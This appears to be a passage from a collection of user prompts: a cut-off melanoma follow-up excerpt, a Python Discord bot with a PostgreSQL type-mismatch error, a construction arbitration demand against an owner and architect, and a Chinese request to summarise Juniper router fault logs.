examinations.[41][42] In a large prospective study12, roughly 50 % of recurrences were identified by history taking/physical examination, 80 % of which were local recurrences, in-transit metastases, and regional lymph node metastases.[41] Indeed, the vast majority of operable recurrences (96%) are those detected by physical examinations.14 In summary, history and physical examinations for patients with stages I–III melanoma are the most effective procedure for early recurrence detection.[43][8]' +'I have this python bot which is throwing an error due to some postgres issue I think. Here is my code:\n\ndef get\\_next\\_review\\_due\\_date(reaction\\_value, current\\_stage\\_value\\_for\\_card, review\\_due\\_date):\n stage\\_map = {\n 1: {"measure": "hours", "value": 1},\n 2: {"measure": "hours", "value": 4},\n 3: {"measure": "hours", "value": 8},\n 4: {"measure": "hours", "value": 12},\n 5: {"measure": "days", "value": 1},\n 6: {"measure": "days", "value": 2},\n 7: {"measure": "days", "value": 5},\n 8: {"measure": "weeks", "value": 1},\n 9: {"measure": "weeks", "value": 2},\n 10: {"measure": "months", "value": 4},\n 11: {"measure": "weeks", "value": 6},\n 12: {"measure": "months", "value": 3},\n 13: {"measure": "months", "value": 3},\n 14: {"measure": "months", "value": 6},\n 15: {"measure": "months", "value": 9},\n 16: {"measure": "years", "value": 1},\n 17: {"measure": "months", "value": 17},\n 18: {"measure": "years", "value": 2},\n 19: {"measure": "months", "value": 30},\n 20: {"measure": "years", "value": 4},\n }\n # Update the stage based on the reaction\n if reaction\\_value == 1:\n new\\_stage = max(current\\_stage\\_value\\_for\\_card - 2, 1)\n elif reaction\\_value == 2:\n new\\_stage = current\\_stage\\_value\\_for\\_card\n elif reaction\\_value == 3:\n new\\_stage = min(current\\_stage\\_value\\_for\\_card + 1, 20)\n elif reaction\\_value == 4:\n return None\n\n # Get the corresponding timedelta based on the stage\\_map\n stage\\_info = stage\\_map[new\\_stage]\n if stage\\_info["measure"] == "hours":\n review\\_due\\_date += timedelta(hours=stage\\_info["value"])\n elif stage\\_info["measure"] == "days":\n review\\_due\\_date += timedelta(days=stage\\_info["value"])\n elif stage\\_info["measure"] == "weeks":\n review\\_due\\_date += timedelta(weeks=stage\\_info["value"])\n elif stage\\_info["measure"] == "months":\n review\\_due\\_date += timedelta(days=stage\\_info["value"] \\* 30) # Approximate days in a month\n elif stage\\_info["measure"] == "years":\n review\\_due\\_date += timedelta(days=stage\\_info["value"] \\* 365) # Approximate days in a year\n\n return review\\_due\\_date,new\\_stage\nclass SpacedRepetition(commands.Cog):\n def \\_\\_init\\_\\_(self, bot):\n self.bot = bot\n self.conn = bot.conn\n self.cursor = bot.cursor\n\n @commands.command()\n async def list\\_decks(self, ctx):\n self.cursor.execute("SELECT title FROM srs\\_decks;")\n deck\\_titles = self.cursor.fetchall()\n deck\\_list = "\\n".join([f"- {title[0]}" for title in deck\\_titles])\n embed = discord.Embed(title="Available Decks", description=deck\\_list, color=0x00ff00)\n await ctx.send(embed=embed)\n print(f\'{ctx.author.name} listed decks.\')\n\n @commands.command()\n async def subscribe(self, ctx, \\*, deck\\_name: str):\n # Check if user exists in the database\n user\\_id = str(ctx.author.id)\n self.cursor.execute("SELECT \\* FROM srs\\_users WHERE user\\_id = %s;", (user\\_id,))\n user = self.cursor.fetchone()\n print(f\'{ctx.author.name} tried to subscribe to deck {deck\\_name}\')\n\n # If the user doesn\'t exist, create the user\n if not user:\n username = ctx.author.name\n self.cursor.execute("INSERT INTO srs\\_users (user\\_id, username) VALUES (%s, %s);", (user\\_id, username))\n self.conn.commit()\n print(f\'{ctx.author.name} was added to the srs\\_users table.\')\n\n # Check if the deck exists\n self.cursor.execute("SELECT \\* FROM srs\\_decks WHERE title = %s;", (deck\\_name,))\n deck = self.cursor.fetchone()\n\n if not deck:\n await ctx.send(f"No deck found with the name \'{deck\\_name}\'")\n return\n\n # Check if the user has already subscribed to the deck\n self.cursor.execute("SELECT \\* FROM srs\\_user\\_subscriptions WHERE user\\_id = %s AND deck\\_id = %s;", (user\\_id, deck[0]))\n subscription = self.cursor.fetchone()\n\n if subscription:\n await ctx.send(f"You are already subscribed to the \'{deck\\_name}\' deck.")\n return\n\n # Subscribe the user to the deck\n self.cursor.execute("INSERT INTO srs\\_user\\_subscriptions (user\\_id, deck\\_id, added\\_on) VALUES (%s, %s, NOW());", (user\\_id, deck[0]))\n self.conn.commit()\n\n # Add all the cards from the deck to the user\'s cards\n self.cursor.execute("SELECT card\\_id FROM srs\\_cards WHERE deck\\_id = %s;", (deck[0],))\n card\\_ids = self.cursor.fetchall()\n\n for card\\_id in card\\_ids:\n self.cursor.execute(\n "INSERT INTO srs\\_user\\_cards (user\\_id, card\\_id, review\\_due\\_date) VALUES (%s, %s, NOW());", (user\\_id, card\\_id[0])\n )\n self.conn.commit()\n\n await ctx.send(f"You have successfully subscribed to the \'{deck\\_name}\' deck.")\n print(f\'{ctx.author.name} was successfully subscribed to {deck\\_name}.\')\n\n @commands.command()\n async def my\\_decks(self, ctx):\n user\\_id = str(ctx.author.id)\n self.cursor.execute("""\n SELECT srs\\_decks.title\n FROM srs\\_user\\_subscriptions\n JOIN srs\\_decks ON srs\\_user\\_subscriptions.deck\\_id = srs\\_decks.deck\\_id\n WHERE srs\\_user\\_subscriptions.user\\_id = %s;\n """, (user\\_id,))\n decks = self.cursor.fetchall()\n deck\\_list = "\\n".join([f"- {deck[0]}" for deck in decks])\n\n embed = discord.Embed(title="Your Subscribed Decks", description=deck\\_list, color=0x00ff00)\n await ctx.send(embed=embed)\n print(f\'{ctx.author.name} listed their subscribed decks.\')\n\n @commands.command()\n async def learn(self, ctx, \\*, deck\\_name: str = None):\n user\\_id = str(ctx.author.id)\n\n if not deck\\_name:\n await ctx.invoke(self.bot.get\\_command(\'my\\_decks\'))\n await ctx.send("Please specify a deck name to study. Example: `!learn `")\n print(f\'{ctx.author.name} tried to learn a deck without args.\')\n return\n\n self.cursor.execute("""\n SELECT srs\\_cards.card\\_id, srs\\_cards.question, srs\\_user\\_cards.user\\_card\\_id, COALESCE(srs\\_user\\_cards.stage, 3) as stage\n FROM srs\\_user\\_cards\n JOIN srs\\_cards ON srs\\_user\\_cards.card\\_id = srs\\_cards.card\\_id\n JOIN srs\\_decks ON srs\\_cards.deck\\_id = srs\\_decks.deck\\_id\n WHERE srs\\_user\\_cards.user\\_id = %s AND srs\\_decks.title = %s AND srs\\_user\\_cards.card\\_active = TRUE AND srs\\_user\\_cards.review\\_due\\_date <= NOW() AND srs\\_user\\_cards.has\\_been\\_seen = FALSE\n ORDER BY srs\\_user\\_cards.review\\_due\\_date;\n """, (user\\_id, deck\\_name)) # the COALESCE sets stage 3 as the default starting point for a card.\n\n cards = self.cursor.fetchall()\n\n if not cards:\n await ctx.send("No cards to review at the moment.")\n print(f\'{ctx.author.name} has no new cards to learn the moment.\')\n return\n\n for card in cards:\n card\\_id, question, user\\_card\\_id, current\\_stage\\_value\\_for\\_card = card\n print(card)\n embed = discord.Embed(title="Question", description=question, color=0x00ff00)\n self.cursor.execute("SELECT answer FROM srs\\_cards WHERE card\\_id = %s;", (card\\_id,))\n answer = self.cursor.fetchone()[0]\n view = ButtonView(embed=embed,answer=answer)\n await ctx.send(embed=embed,view=view)\n\n try:\n await view.wait()\n \n except asyncio.TimeoutError:\n await ctx.send("Session timed out. To continue reviewing, use the `!review ` command again.")\n break\n\n response\\_value = view.value\n print(response\\_value)\n await ctx.send(f\'you replied with {str(response\\_value)}\')\n\n if response\\_value == 4 or response\\_value == None:\n await ctx.send("Session timed out. To continue reviewing, use the `!review ` command again.")\n break\n\n # Update user\\_card and user\\_actions tables\n response\\_date = datetime.now()\n review\\_due\\_date = datetime.now()\n\n # Replace this block in the learn and review functions\n review\\_due\\_date = get\\_next\\_review\\_due\\_date(response\\_value, current\\_stage\\_value\\_for\\_card, review\\_due\\_date)\n\n self.cursor.execute("""\n UPDATE srs\\_user\\_cards\n SET review\\_due\\_date = %s,\n last\\_review\\_date = %s,\n has\\_been\\_seen = TRUE,\n stage = CASE WHEN stage IS NULL AND %s = 1 THEN 1\n WHEN stage IS NULL AND %s = 2 THEN 3\n WHEN stage IS NULL AND %s = 3 THEN 4\n WHEN %s = 1 THEN LEAST(stage - 2, 1)\n WHEN %s = 3 THEN LEAST(stage + 1, 20)\n ELSE stage END\n WHERE user\\_card\\_id = %s;\n """, (review\\_due\\_date, response\\_date, response\\_value, response\\_value, response\\_value, response\\_value, response\\_value, user\\_card\\_id))\n self.cursor.execute("""\n INSERT INTO srs\\_user\\_actions (user\\_id, user\\_card\\_id, response\\_date, response\\_value)\n VALUES (%s, %s, %s, %s);\n """, (user\\_id, user\\_card\\_id, response\\_date, response\\_value))\n\n self.conn.commit()\n \n else:\n await ctx.send("Completed learning. No cards left in the learning set.")\n print(f\'{ctx.author.name} completed their learning!!\')\n\nHere is my error:\n\n2023-03-30 23:22:22 ERROR discord.ext.commands.bot Ignoring exception in command learn\nTraceback (most recent call last):\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 229, in wrapped \n ret = await coro(\\*args, \\*\\*kwargs)\n File "C:\\Users\\stewa\\AbraxasBot\\gpt4\\commands\\srs\\_test\\spaced\\_repetition.py", line 244, in learn\n self.cursor.execute("""\npsycopg2.errors.DatatypeMismatch: column "review\\_due\\_date" is of type timestamp without time zone but expression is of type record\nLINE 3: SET review\\_due\\_date = (\'2023-03-31T00:22:22....\n ^\nHINT: You will need to rewrite or cast the expression.\nThe above exception was the direct cause of the following exception:\n\nTraceback (most recent call last):\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\bot.py", line 1350, in invoke \n await ctx.command.invoke(ctx)\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 1023, in invoke \n await injected(\\*ctx.args, \\*\\*ctx.kwargs) # type: ignore\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 238, in wrapped \n raise CommandInvokeError(exc) from exc\ndiscord.ext.commands.errors.CommandInvokeError: Command raised an exception: DatatypeMismatch: column "review\\_due\\_date" is of type timestamp without time zone but expression is of type record\nLINE 3: SET review\\_due\\_date = (\'2023-03-31T00:22:22....\n ^\nHINT: You will need to rewrite or cast the expression.\n\n2023-03-30 23:22:34 ERROR discord.ext.commands.bot Ignoring exception in command my\\_decks\nTraceback (most recent call last):\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 229, in wrapped \n ret = await coro(\\*args, \\*\\*kwargs)\n File "C:\\Users\\stewa\\AbraxasBot\\gpt4\\commands\\srs\\_test\\spaced\\_repetition.py", line 175, in my\\_decks\n self.cursor.execute("""\npsycopg2.errors.InFailedSqlTransaction: current transaction is aborted, commands ignored until end of transaction block\nThe above exception was the direct cause of the following exception:\n\nTraceback (most recent call last):\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\bot.py", line 1350, in invoke \n await ctx.command.invoke(ctx)\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 1023, in invoke \n await injected(\\*ctx.args, \\*\\*ctx.kwargs) # type: ignore\n File "C:\\Users\\stewa\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10\\_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\site-packages\\discord\\ext\\commands\\core.py", line 238, in wrapped \n raise CommandInvokeError(exc) from exc\ndiscord.ext.commands.errors.CommandInvokeError: Command raised an exception: InFailedSqlTransaction: current transaction is aborted, commands ignored until end of transaction block\n\nit happens when answering a card in the !learn command.' +"Now after all this, the contractor is filing claims against the architect. Here is the Contractor's arbitration demands: DEMAND FOR ARBITRATION\nBY GOOD AND CHEAP CONSTRUCTION CORP.\nAND STATEMENT OF CLAIM\nClaimant Good + Cheap Construction Corp. (“Contractor”) hereby demands arbitration of its claims against Respondents Warbucks Enterprises LLC (“Warbucks”) and Columbia Architects PLLC (Architect”) under the Construction Arbitration Rules established by the American Arbitration Association, for the reasons set forth below.\nTHE ARBITRATION AGREEMENTS\n1. Contractor demands arbitration against Warbucks under the arbitration clause in the AIA A101-2007 Owner/Contractor Agreement executed by Warbucks and Contractor and dated as of September 1, [D-4] (the “Arbitration Clause”). Section 6.2 of the agreement shows that “Arbitration pursuant to Section 15.4 of Document A201-2007” has been checked off. The Arbitration Clause set forth in Section 15.4.1 of the latter document states in pertinent part as follows:\nIf the parties have selected arbitration as the method for binding dispute resolution in the Agreement, any Claim subject to, but not resolved by,\n- 2 -\nmediation shall be subject to arbitration which, unless the parties mutually agree otherwise, shall be administered by the American Arbitration Association in accordance with its Construction Industry Arbitration Rules in effect on the date of the Agreement.\n2. Contractor also demands arbitration against Architect pursuant to the arbitration clause in the AIA B101-2007 Agreement between Owner and Architect. Section 8.2.4 of the agreement shows that “Arbitration pursuant to Section 8.3 of this Agreement” has been checked off. The Arbitration Clause is Section 8.3.1 of the same document and states as follows:\n[A]ny claim, dispute or other matter in question arising out of or related to this Agreement subject to, but not resolved by, mediation shall be subject to arbitration which, unless the parties mutually agree otherwise, shall be administered by the American Arbitration Association in accordance with its Construction Industry Arbitration Rules in effect on the date of this Agreement.\n3. This paragraph requires arbitration of “any claim, dispute or other matter in question arising out of or related to [the agreement between Architect and Owner] ….” Contractor’s claims against Architect directly arise out of that agreement as well as out of the Owner/Contractor’s Agreement (which also has an arbitration clause) and, accordingly, are subject to arbitration even if Contractor does not have a direct agreement with Architect providing for arbitration.\n4. On October 20, [D-2] Architect filed a request to commence mediation with the American Arbitration Association, thereby putting in motion the condition precedent to arbitration. Mediation took place on March 30, [D-1], without resulting in a settlement of the issues. The condition precedent to arbitration has therefore been satisfied, and arbitration should proceed not just with respect to Architect’s claims against Owner but also with respect to Contractor’s claims against Architect.\nTHE PARTIES\n5. Claimant Good + Cheap Construction Corp. (referred to throughout this demand as “Contractor” as previously indicated) is a New York corporation engaged in providing general contracting and construction management services. Contractor concentrates in the construction of high-rise mixed-use buildings in the New York metropolitan area.\n6. At all relevant times and information and belief, respondent Warbucks Enterprises LLC (referred to throughout this demand as “Warbucks”) is and was a New York limited liability company with an office at 250 Park Avenue, New York, NY 10022. Warbucks is in the business of developing real estate for commercial and residential use.\n7. At all relevant times and upon information and belief, respondent Columbia Architects (referred to throughout this demand as “Architect”) is and was a firm of licensed New York architects providing architecture and interior design services, with an office at 180 Willoughby Avenue, Brooklyn, NY 11205.\n8. In May [D-5], Warbucks engaged Architect to draft and provide construction drawings for a twenty-story mixed-use condominium tower in Tribeca, City of New York, with commercial space on the ground floor and nineteen floors of high-end condominium units (one apartment per floor) (the “Project”). The engagement is reflected in the parties’ AIA B101-2007 professional services agreement (the “B101 Agreement”).\n9. After Architect was engaged, the contract for construction of the project was put out to bid in a competitive bidding process. Contractor was the successful bidder. An AIA A101-2007 Owner/Contractor Agreement with accompanying general conditions (A201-2007) was executed by Warbucks and Contractor. 10. The Contract provides for compensation to the Contractor based upon a fixed fee to be paid out in monthly increments keyed to percentage of completion during the three-year budgeted schedule for the Project. Contractor must submit monthly applications for payment (“Requisitions”), certify them as accurate, and send them to Architect for review and approval. Architect must then timely sign off on the Requisitions or, if any issues are found, promptly raise questions with Contractor about the issues and arrange for appropriate adjustment. Approved Requisitions are to be paid within fifteen days of receipt. The payable amount shall be the amount set forth in the Requisition less a retainage of 10%, which is to be held for payment at the conclusion of the Project. Any short payments by Owner in any given month would properly be shown on the next month’s Requisition as immediately due and payable.\nClaim against Owner.\n11. Contractor timely submitted monthly Requisitions to the Architect for approval throughout the course of Contractor’s work on the Project, and in every instance, Architect approved each such Requisition. Owner, however, did not comply with its obligations under the Owner/Contractor Agreement to pay within 15 days after receipt or to withhold only 10% of the amount due as retainage. Instead, Owner made a practice of regularly delaying payments by 60 days or more and then, upon making payment, withheld typically 20% of the amount due as purported retainage.\n12. Despite objections orally and in writing by Contractor, the Architect’s approval and the requirements of the Owner/Architect Agreement, Owner refused to cease the improper practices described above, resulting eventually, as of May [D-2], in an improperly withheld retainage amounting to $8,100,000 owed and unpaid to Contractor, twice the amount that was permitted. The written objections by Contractor during the six months leading up to April [D-2] expressly gave notice that continued failure to pay amounts due could leave Contractor with no choice but to stop work and bring collection proceedings. 13. Contractor finally was constrained to stop work in April [D-2], having submitted its Requisition No. 18 reflecting the work performed the previous month. Owner improperly refused to pay any part of that Requisition, including both the unpaid prior amounts reflected therein and the amount due for the month. The total amount due to Contractor for fees under the Agreement as of that date is $11,668,646.\n14. Because Owner materially breached the Owner/Contractor Agreement, Owner is liable to pay Contractor the profit it would have made on the remaining amounts due to it as provided for in the Agreement, including all retainage amounts, which add up to $9,773,376.\n15. In addition, because of lost opportunities to perform work on other, better paying projects while meeting its obligations under the Owner/Contractor Agreement, Contractor has been damaged in the amount of not less than $10 million in lost profits and must pay interest of not less than $200,000 on claims by subcontractors that Contractor could not pay because of Owner’s failures to pay the amounts due under the Owner/Contractor Agreement, a substantial portion of which was intended to cover the charges payable to subcontractors that Contractor was unable to pay.\nClaim against Architect\n16. Contractor timely submitted its Requisition to Architect (AFP # 18) for review and approval by Architect on or about May 12, [D-2]. Architect had previously approved all prior Requisitions Contractor had submitted.\n17. Requisition No. 18 included the unpaid balances that Architect had repeatedly approved in prior months, and that grew each month in proportion to the excessive retainage, withheld by Owner. The amount charged for new work during the month covered by Requisition No. 18 was precisely the same as the amount charged in each prior requisition and was based upon the same calculations that Architect had previously found acceptable. Notwithstanding these facts, Architect failed and refused to approve Requisition No. 18.\n18. Architect’s refusal to approve Requisition No. 18 was intentional and lacked any reasonable basis. Architect knew the terms of the Owner/Contractor Agreement, and understood that refusal to approve the Requisition interfered with the contractual intent of that agreement. On information and belief, Architect conspired with Warbucks to deny Contractor payment on the final Requisition. Accordingly, Architect’s conduct as aforesaid constituted tortious interference with the contractual relations between Contractor and Owner that caused direct financial harm to Contractor.\n19. By reason of the foregoing, Architect is liable to Contractor for all charges payable to Contractor under Requisition No. 18, i.e., $3,568,646, interest on the claims by subcontractors whom Contractor could not pay due to nonpayment of Requisitions, i.e., $200,000, and $10 million in lost profits on forgone opportunities.\nWHEREFORE, Claimant respectfully requests the Arbitrator(s) to issue an Award (1) finding Warbucks to have materially breached the Agreement by failure to pay compensation in accordance with the terms thereof and directing payment to Contractor of the sum of not less than $31,641,022, (2) finding Architect to be liable to Contractor for tortious interference with contractual relations and directing payment to Contractor of the sum of not less than $13,768,646, (3) awarding interest on the sums due at the legal rate, and (4) granting such other and further relief as to the Arbitrator(s) may seem just and proper." +"以下為設備發生問題的log，請協助整理並歸納異常log\nMar 10 04:44:52 B03\\_MX2008-PE6.RE0 fpc1 XMCHIP(0): XMCHIP(0): FI: Protect: Log Error 0x100, Log Address 0xeb, Multiple Errors 0x100\nMar 10 04:44:52 B03\\_MX2008-PE6.RE0 alarmd[16995]: Alarm set: FPC color=RED, class=CHASSIS, reason=FPC 1 Major Errors\nMar 10 04:44:52 B03\\_MX2008-PE6.RE0 craftd[15347]: Major alarm set, FPC 1 Major Errors\nMar 10 04:44:52 B03\\_MX2008-PE6.RE0 fpc1 Error: /fpc/1/pfe/0/cm/0/XMCHIP(0)/0/XMCHIP\\_CMERROR\\_FI\\_PAR\\_PROTECT\\_FSET\\_REG\\_DETECTED\\_L2\\_FREEPOOL (0x70133), scope: pfe, category: functional, severity: major, module: XMCHIP(0), type: FI\\_PROTECT: Detected: Parity error for L2 Freepool SRAM\nMar 10 04:44:53 B03\\_MX2008-PE6.RE0 fpc1 Performing action cmalarm for error /fpc/1/pfe/0/cm/0/XMCHIP(0)/0/XMCHIP\\_CMERROR\\_FI\\_PAR\\_PROTECT\\_FSET\\_REG\\_DETECTED\\_L2\\_FREEPOOL (0x70133) in module: XMCHIP(0) with scope: pfe category: functional level: major\nMar 10 04:44:53 B03\\_MX2008-PE6.RE0 fpc1 Performing action get-state for error /fpc/1/pfe/0/cm/0/XMCHIP(0)/0/XMCHIP\\_CMERROR\\_FI\\_PAR\\_PROTECT\\_FSET\\_REG\\_DETECTED\\_L2\\_FREEPOOL (0x70133) in module: XMCHIP(0) with scope: pfe category: functional level: major\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 Performing action disable-pfe for error /fpc/1/pfe/0/cm/0/XMCHIP(0)/0/XMCHIP\\_CMERROR\\_FI\\_PAR\\_PROTECT\\_FSET\\_REG\\_DETECTED\\_L2\\_FREEPOOL (0x70133) in module: XMCHIP(0) with scope: pfe category: functional level: major\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 780, ifAdminStatus up(1), ifOperStatus down(2), ifName ge-1/3/4\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/0 #244 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/1 #245 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/2 #246 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/3 #247 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/4 #248 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/5 #249 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/6 #250 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/7 #251 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/8 #252 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/2/9 #253 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/0 #254 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/1 #255 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/2 #256 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/3 #257 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/4 #258 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/5 #259 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/6 #260 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/7 #261 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/8 #262 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 kernel: if\\_msg\\_ifd\\_cmd\\_tlv\\_decode ifd ge-1/3/9 #263 down with ASIC Error\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 776, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/0\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 777, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/1\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 778, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/2\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 779, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/3\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 781, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/5\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 782, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/6\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 783, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/7\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 784, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/8\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 mib2d[16992]: SNMP\\_TRAP\\_LINK\\_DOWN: ifIndex 785, ifAdminStatus down(2), ifOperStatus down(2), ifName ge-1/3/9\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/0 244\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/1 245\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/2 246\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/3 247\nMar 10 04:44:56 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/4 248\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/5 249\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/6 250\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/7 251\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/8 252\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/2/9 253\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/0 254\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/1 255\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/2 256\nMar 10 04:44:57 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/3 257\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/4 258\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/5 259\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/6 260\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/7 261\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/8 262\nMar 10 04:44:58 B03\\_MX2008-PE6.RE0 fpc1 PFE 0: 'PFE Disable' action performed. Bringing down ifd ge-1/3/9 263\nMar 10 04:44:59 